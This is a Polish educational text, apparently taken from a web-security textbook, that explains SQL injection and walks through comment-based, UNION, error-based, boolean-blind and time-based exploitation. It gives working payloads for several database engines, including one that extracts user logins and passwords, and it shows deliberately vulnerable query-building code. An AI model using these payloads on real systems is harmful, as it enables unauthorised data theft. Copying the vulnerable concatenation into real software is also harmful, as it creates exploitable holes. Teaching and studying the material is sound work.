Bezpieczeństwo Aplikacji Internetowych

SQL Injection

CZYM JEST SQL INJECTION

SQL Injection to podatność aplikacji webowych, dzięki której napastnik może wstrzyknąć własny fragment zapytania SQL. Najczęściej związana jest z błędnym podejściem do budowania zapytań do bazy danych przez programistów aplikacji. Załóżmy, na potrzeby analizy tej podatności, że mamy aplikację blogową, która pozwala na wyszukiwanie postów według ich zawartości. Adres URL odwołujący się do wyszukiwarki wygląda następująco:

```
https://example.com/search?query=test
```

Odwołanie do powyższego adresu URL spowoduje wykonanie w aplikacji metody odpowiedzialnej za wyszukiwanie postów.

```
function getPosts(query) {
  var sql = "SELECT * FROM blog_posts " +
            "WHERE post_content LIKE " +
            "'%" + query + "%' " +
            "AND published = 1";

  return executeSqlQuery(sql);
}
```

W kodzie występuje typowy problem skutkujący podatnością – zmienna sql, zawierająca wyrażenie w języku SQL. Jest ona budowana poprzez konkatenację, a jednym z jej elementów jest zmienna query, pochodząca od użytkownika. Gdy użytkownik aplikacji spróbuje wyszukać „proste” słowo, np. „test” (jak w przykładzie powyżej), aplikacja wygeneruje następujące zapytanie:

```
SELECT * FROM blog_posts WHERE post_content LIKE '%test%' AND published = 1
```

Zapytanie w wyniku zwróci wszystkie posty na blogu, w których treści znajduje się słowo „test” oraz które mają ustawioną flagę published. Zauważmy, że parametr podany przez użytkownika (test) został umieszczony w stringu wewnątrz pojedynczych apostrofów. W związku z tym próba „zepsucia” czegokolwiek w tym zapytaniu musi w pierwszej kolejności wiązać się z ucieczką z tego stringu. Jeśli więc na wejściu podamy:

```
https://example.com/search?query=test'
```

to aplikacja wykona:

```
SELECT * FROM blog_posts WHERE post_content LIKE '%test'%' AND published = 1
```

W tej sytuacji baza danych odmówi wykonania zapytania ze względu na występujący w nim błąd składni: zamknęliśmy w zapytaniu string będący argumentem dla operatora LIKE, jednak bezpośrednio za nim znajduje się znak procenta i otwarcie kolejnego – tym razem już niedomkniętego – stringu.

Typowy sposób, by sobie z tym poradzić, to zakomentowanie reszty zapytania. Standardowo w SQL do komentarzy używa się sekwencji znaków --.

Wykonajmy więc kolejną próbę:

```
https://example.com/search?query=test'--
```

w wyniku której aplikacja wykona zapytanie:

```
SELECT * FROM blog_posts
WHERE post_content LIKE '%test'--%' AND published = 1
```

Tym razem baza SQL już nie zaprotestuje: nie wyświetli błędu składni i pozwoli zapytaniu na wykonanie się. Zauważmy, że dodanie komentarza spowodowało, że warunek AND published = 1 przestał już być sprawdzany. W ten prosty sposób zyskaliśmy możliwość odczytania postów, które nie zostały opublikowane!

Nadal jednak widzimy tylko te posty, których zawartość kończy się słowem „test”. Jeśli chcemy odczytać wszystkie posty znajdujące się w bazie, musimy posłużyć się innym klasycznym wstrzyknięciem SQL:

```
https://example.com/search?query=test' OR 1=1--
```

W jego wyniku wykona się zapytanie:

```
SELECT * FROM blog_posts
WHERE post_content LIKE '%test' OR 1=1--%' AND published = 1
```

Tym razem baza danych zwróci wszystkie posty, które spełnią jeden z dwóch warunków logicznych:

- post_content LIKE '%test' (treść posta kończy się słowem „test”),
- 1=1.

SPOSOBY WYKORZYSTANIA SQL INJECTION

Najbardziej typowym i częstym skutkiem wykorzystania SQL Injection jest odczyt dowolnych treści z bazy danych. Jednakże w zależności od tego, w jaki dokładnie sposób budowane jest zapytanie oraz jakie informacje aplikacja zwraca, sposobów wykorzystania tej podatności może być kilka. W tym podrozdziale poznamy najpopularniejsze z nich.

UNION-based

Jest to najprostszy i najszybszy sposób wykorzystania SQL Injection, możliwy do zastosowania, jeśli aplikacja w odpowiedzi zwraca treść pobraną z bazy SQL. Jego istotą jest wykorzystanie słowa kluczowego UNION z języka SQL. Dzięki UNION jesteśmy w stanie połączyć ze sobą wyniki pobierania danych z dwóch różnych tabel SQL, np.:

```
SELECT kolumna1, kolumna2, kolumna3 FROM tabela1
UNION SELECT col1, col2, col3 FROM tabela2
```

W wyniku wykonywania zapytania zwracana jest treść kolumn kolumna1, kolumna2, kolumna3 z tabeli tabela1 oraz kolumn col1, col2, col3 z tabeli tabela2. Aby silnik bazodanowy nie odmówił wykonania zapytania, należy pamiętać o dwóch najważniejszych kwestiach:

- liczba kolumn w obu zapytaniach SELECT musi być taka sama,

- typy kolumn w obu zapytaniach SELECT muszą być zgodne (Spełnienie tego wymagania zależy od użytego silnika bazodanowego. I tak w PostgreSQL, Microsoft SQL Server czy OracleDB typy muszą być zgodne, dla odmiany dla MySQL czy MariaDB takiego wymogu nie ma.)

W praktyce więc wykorzystanie SQL Injection typu UNION sprowadza się do ustalenia:

- ile kolumn ma oryginalne zapytanie,
- treść której z kolumn napastnik jest w stanie przeczytać

ERROR-based

UNION-based SQL Injection jest najszybszym sposobem na wyciąganie danych z bazy, ale nie zawsze możliwym do zastosowania. Załóżmy, że nasz przykładowy serwis blogowy generuje zapytanie jak z listingu 1, po wyszukaniu słowa „test”:

```
SELECT *
FROM blog_posts
WHERE post_content
LIKE '%test%'
AND published = 1
```

Listing 1

```
SELECT *
FROM blog_posts
WHERE post_content
LIKE '%test'--%'
AND published = 1
```

Listing 2

Na pierwszy rzut oka różnica pomiędzy zapytaniem z listingu 1 a wcześniejszymi może być trudna do zauważenia. Istotne są jednak tutaj znaki nowej linii. Do tej pory używaliśmy komentarza liniowego w SQL, by pozbyć się reszty zapytania. Jeśli tym razem spróbujemy tej samej sztuczki, osiągniemy efekt jak w listingu 2.

Odkomentowany został tylko fragment jednej linii – warunek logiczny AND published = 1 jest nadal sprawdzany. Gdybyśmy więc, podobnie jak wcześniej, próbowali wstrzyknąć UNION SELECT, ten dodatkowy warunek logiczny psułby zapytanie. W rzeczywistych aplikacjach zazwyczaj nie ma możliwości podejrzenia treści zapytania, odgadnięcie jego dalszej treści może więc być trudne. Próba zastosowania komentarza blokowego (tj. /*), by odkomentować całą resztę zapytania, nie powiodłaby się, ponieważ dla silników bazodanowych byłby to błąd składni – komentarz blokowy jest otwarty, brakuje zaś poprawnego zamknięcia. Ponadto nie każdy SQL Injection jest związany ze wstrzyknięciem w SELECT – jeśli mamy wstrzyknięcie np. w DELETE, używanie UNION SELECT jest bezzasadne. Jeśli więc SQL Injection typu UNION nie wchodzi w rachubę, należy zastosować inne podejście. Jeżeli aplikacja jest skonfigurowana tak, że wyświetla w odpowiedziach HTTP dokładną treść błędów, wówczas okazuje się, że możemy nimi sterować w taki sposób, iż w treści błędu pojawi się dokładnie taka informacja, jakiej oczekujemy. Zobaczmy na

przykładzie bazy danych PostgreSQL. Mamy w Postgresie możliwość rzutowania zmiennych na inne typy, wykorzystując CAST, np.:

```
SELECT cast('123' as integer);
```

W takiej sytuacji string '123' będzie rzutowany na liczbę 123. Postgres zaprotestuje, jeśli spróbujemy rzutować na liczbę wartość, która nie reprezentuje poprawnej liczby, np.:

```
SELECT cast('123xyz' as integer);
```

W takiej sytuacji dostaniemy błąd:

```
error: invalid input syntax for integer: '123xyz'
```

Kluczowa w zrozumieniu ERROR-based SQL Injection jest obserwacja, że komunikat o błędzie zawiera odbitą wartość przekazaną do CAST. Możemy więc dowiedzieć się z niego, jaką wartość przekazano! W Postgresie istnieje możliwość poznania wersji bazy danych przez wywołanie funkcji VERSION(). Spróbujmy wynik tej funkcji rzutować na liczbę:

```
SELECT cast(version() as integer);
```

Baza danych zwróci błąd:

```
error: invalid input syntax for integer: "PostgreSQL 10.0 on x86_64-pc-
linux-gnu, compiled by gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-18), 64-bit"
```

Potwierdza to możliwość wydobycia z niej danych dzięki komunikatom o błędach. Odtworzenie wydobycia loginów i haseł z systemu blogowego, analogicznie do przykładu z UNION, z wykorzystaniem tego sposobu wyglądałoby następująco:

```
https://example.com/search?query=test' AND CAST(( ↵
SELECT blog_user||'/'||user_password FROM blog_users) AS integer)--
```

Możliwość wykonania SQL Injection typu ERROR dotyczy nie tylko Postgresa; w innych silnikach bazodanowych również można je wykorzystać, choć w każdym wygląda to nieco inaczej. W poniższych przykładach pokazano, w jaki sposób wywołać błąd zawierający numer wersji bazy danych:

MySQL/MariaDB:
`SELECT extractvalue(1, concat('!', version()),`
Oracle DB: `SELECT CTXSYS.DRITHSX.SN(1, (SELECT banner FROM v$version)) FROM dual,`
Postgres: `SELECT cast(version() AS integer),`
Microsoft SQL Server: `SELECT convert(int, @@version).`

BLIND (content based)

Jednym z podstawowych zaleceń hardeningowych na systemach jest upewnienie się, że szczegółowe treści błędów nie są wyświetlane użytkownikowi końcowemu. Jeśli twórca danej aplikacji zastosował się do tej rekomendacji, uniemożliwi to wykorzystanie ERROR-based SQL Injection. W takiej sytuacji z pomocą atakującemu przychodzi BLIND SQL Injection. Jest to najwolniejsza metoda wykorzystania tej podatności, ale jednocześnie najbardziej uniwersalna – niemal zawsze możliwa do wykonania, jeżeli uda się zidentyfikować SQL Injection.

Clou wykorzystania BLIND SQL Injection polega na dodaniu do wstrzyknięcia pewnego warunku logicznego i możliwości identyfikacji, czy warunek logiczny w zapytaniu SQL zwrócił prawdę czy fałsz. Dla przykładu, załóżmy, że mamy system blogowy, w którym istnieje zapytanie zwracające, ile postów należy do pewnej kategorii. Żądanie HTTP wygląda następująco:

```
https://example.com/getCategoryCount?category=test
```

i spowoduje wykonanie zapytania SQL w aplikacji:

```
SELECT count(*) FROM blog_posts WHERE post_category='test'
```

W odpowiedzi zobaczymy tylko listę postów pasujących do kategorii. Na potrzeby przykładu przyjmijmy, że dla kategorii test tych postów jest 10. Zakładamy również, że nie jesteśmy w stanie wykonać ani SQL Injection typu UNION, ani SQL Injection typu ERROR. Dopiszmy więc do zapytania SQL prosty warunek:

```
https://example.com/getCategoryCount?category=test' AND 1=1--
```

z którego wynika zapytanie:

```
SELECT count(*) FROM blog_posts WHERE post_category='test' AND 1=1--
```

Zauważmy, że warunek logiczny 1=1 jest zawsze prawdziwy, nie wpłynie więc w żaden sposób na wynik wykonywania tego zapytania. W odpowiedzi ponownie zobaczymy 10. Zmieńmy teraz warunek logiczny na inny, np.:

```
https://example.com/getCategoryCount?category=test' AND 1=2--
```

i zapytanie:

```
SELECT count(*) FROM blog_posts WHERE post_category='test' AND 1=2--
```

Warunek logiczny 1=2 jest z kolei zawsze fałszywy. Co za tym idzie, w odpowiedzi powinniśmy zobaczyć, że postów spełniających zadane przez nas warunki logiczne jest dokładnie 0.

Do tej pory ustaliliśmy więc, że:

- gdy dodany przez nas warunek logiczny w zapytaniu SQL jest prawdziwy – w odpowiedzi dostajemy 10,
- w przeciwnym wypadku odpowiedź to 0.

Oczywiście warunek logiczny typu 1=1 czy 1=2 nie wnosi żadnej wartości, jeśli chodzi o wydobycie jakichkolwiek danych z bazy. Z pomocą przyjdzie nam jednak funkcja SUBSTRING. W SQL-u służy ona do wyciągnięcia zadanego fragmentu jakiegoś stringu. Jej definicja jest następująca:

```
SUBSTRING(string, start, length)
```

W rezultacie zwraca fragment ciągu znaków string, zaczynający się na indeksie start o długości length. Przykładowo: SUBSTRING(name, 1, 1) wydobywa pierwszy znak z kolumny name.

Wykorzystanie BLIND SQL Injection polega więc na wydobywaniu pojedynczego znaku z jakiegoś ciągu znaków (np. wartości kolumny) i sprawdzaniu, czy przyjmuje konkretną wartość, np.:

```
AND SUBSTRING(version(),1,1) = 'a'
AND SUBSTRING(version(),1,1) = 'b'
AND SUBSTRING(version(),1,1) = 'c'
```

Analogicznie jak w przypadku wcześniejszych sprawdzeń typu 1=1 i 1=2 – jeżeli warunek logiczny będzie prawdziwy (czyli trafimy z poprawną literą), w odpowiedzi dostaniemy 10, a w przeciwnym wypadku 0. Kiedy już uda się zidentyfikować pierwszy znak, można podejść do drugiego:

```
AND SUBSTRING(version(),2,1) = 'a'
AND SUBSTRING(version(),2,1) = 'b'
AND SUBSTRING(version(),2,1) = 'c'
```

Z przedstawionego wyżej przykładu można wnioskować, że możliwość identyfikacji, czy dany warunek logiczny jest prawdziwy czy fałszywy, jest wystarczająca do wydobycia dowolnych danych z bazy! W przypadku potrzeby wydobycia wartości jakiejś konkretnej kolumny pierwszym argumentem w SUBSTRING może być zagnieżdżony SELECT, np.:

```
SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET
0),1,1) = 'a'
```

O ile za pomocą BLIND SQL Injection możemy wydobyć wszystkie dane z bazy, o tyle atak jest dość powolny. Zakładając, że chcemy porównywać, czy dany znak jest równy dowolnej literze (małej lub dużej) alfabetu łacińskiego lub cyfrze – mamy w najgorszym razie do wykonania 62 sprawdzenia. Istnieje możliwość optymalizacji ataku i wydobycia wartości dowolnego znaku, ograniczając liczbę iteracji wyłącznie do ośmiu porównań.

Załóżmy, że wyciągamy pierwszy znak kolumny name (jego wartość to: X, kod ASCII: 88). Tok postępowania byłby następujący:

```
AND ASCII(SUBSTRING(name, 1, 1)) < 128 – zwraca PRAWDĘ,
AND ASCII(SUBSTRING(name, 1, 1)) < 64 – zwraca FAŁSZ,
AND ASCII(SUBSTRING(name, 1, 1)) < 96 – zwraca PRAWDĘ,
AND ASCII(SUBSTRING(name, 1, 1)) < 80 – zwraca FAŁSZ,
AND ASCII(SUBSTRING(name, 1, 1)) < 88 – zwraca FAŁSZ,
AND ASCII(SUBSTRING(name, 1, 1)) < 92 – zwraca PRAWDĘ,
AND ASCII(SUBSTRING(name, 1, 1)) < 90 – zwraca PRAWDĘ,
AND ASCII(SUBSTRING(name, 1, 1)) < 89 – zwraca PRAWDĘ.
```

Analizując powyższe wyniki,można wyciągnąć wniosek, że kodASCIItego znakumusi być równy 88. Atak opiera się na metodzie „dziel i zwyciężaj” – możliwa przestrzeń wartości bajtów jest dzielona na pół i sprawdzamy, czy wartość bajtu zawiera się w jej dolnej części. Jeśli tak – dolna część jest znów dzielona na pół i następuje kolejne sprawdzenie. Jeśli nie – górna część jest dzielona na pół itd. Przeprowadzenie ataku SQL Injection typu BLIND na bazy

z różnymi silnikami de facto nie wiąże się z dużymi różnicami, ponieważ każdy z nich obsługuje funkcję SUBSTRING z takim samym zestawem argumentów.

BLIND (time based)

W niektórych aplikacjach webowych można spotkać się z sytuacją, w której pewne zapytania SQL są wykonywane „w tle" i nie mają żadnego wpływu na to, co jest wyświetlane w treści odpowiedzi HTTP. Jednym z takich przykładów może być logowanie przez aplikację w bazie danych wartości nagłówka User-Agent. Nie zobaczymy w odpowiedzi, czy ta operacja się udała, nie mamy więc możliwości wykorzystania żadnego z wcześniej omówionych typów SQL Injection.

W takiej sytuacji z pomocą przychodzi inny wariant podatności BLIND SQL Injection, znany jako time based. Tym razem nie będziemy opierać się na treści odpowiedzi, a na informacji o czasie, jaki zajmuje jej udzielenie. Przygotujemy takie zapytanie SQL, które sprawi, że silnik SQL będzie je przetwarzał kilka sekund, jeśli warunek logiczny będzie prawdziwy, natomiast w przypadku fałszywego warunku logicznego odpowiedź zostanie zwrócona od razu**.**

Najprościej kod wykorzystujący podatność będziemy mogli przygotować w bazie danych MySQL/MariaDB, w której istnieje funkcja SLEEP, przyjmująca jako argument liczbę sekund określającą, na jaki czas ma wstrzymać wykonywanie zapytania.

```
SELECT ... WHERE 1=1 AND SLEEP(5)=1
SELECT ... WHERE 1=2 AND SLEEP(5)=1
```

Bazy danych, podobnie jak większość popularnych języków programowania, rozwiązują wyrażenia logiczne, używając tzw. short-circuit evaluation1 . W pierwszym z przedstawionych wyżej przykładów warunek logiczny 1=1 jest prawdziwy, a zatem baza danych musi zweryfikować również kolejny warunek logiczny (SLEEP(5)=1), by móc obliczyć wartość całego wyrażenia logicznego. W drugim przypadku warunek 1=2 jest fałszywy, więc baza danych nie potrzebuje już obliczania kolejnego warunku logicznego, bowiem wiadomo, że całe wyrażenie będzie fałszywe. Na tej podstawie łatwo zauważyć, że jeśli warunek logiczny jest prawdziwy, wykonanie zapytania SQL zajmie ok. 5 sekund więcej niż w przeciwnym wypadku. Wydobywanie konkretnych danych z bazy w realnym ataku może odbywać się z użyciem SUBSTRING, analogicznie jak w „klasycznym" BLIND SQL Injection. W zależności od silnika bazodanowego stosowane są różne sposoby wymuszenia opóźnień.

MySQL/MariaDB: `SLEEP(5)`,
PostgreSQL: `PG_SLEEP(5)`,
Microsoft SQL Server: `WAITFOR DELAY '0:0:5'`,
OracleDB: `DBMS_PIPE.RECEIVE_MESSAGE('x', 5)`.

LITERATURA

Bezpieczeństwo Aplikacji Webowych - Michał Bentkowski / Artur Czyż / Rafał 'bl4de' Janicki / Jarosław Kamiński Adrian 'vizzdoom' Michalczyk / Mateusz Niezabitowski / Marcin Piosek Michał Sajdak / Grzegorz Trawiński / Bohdan Widła - ISBN: 978-83-954853-2-9 - Kraków 2020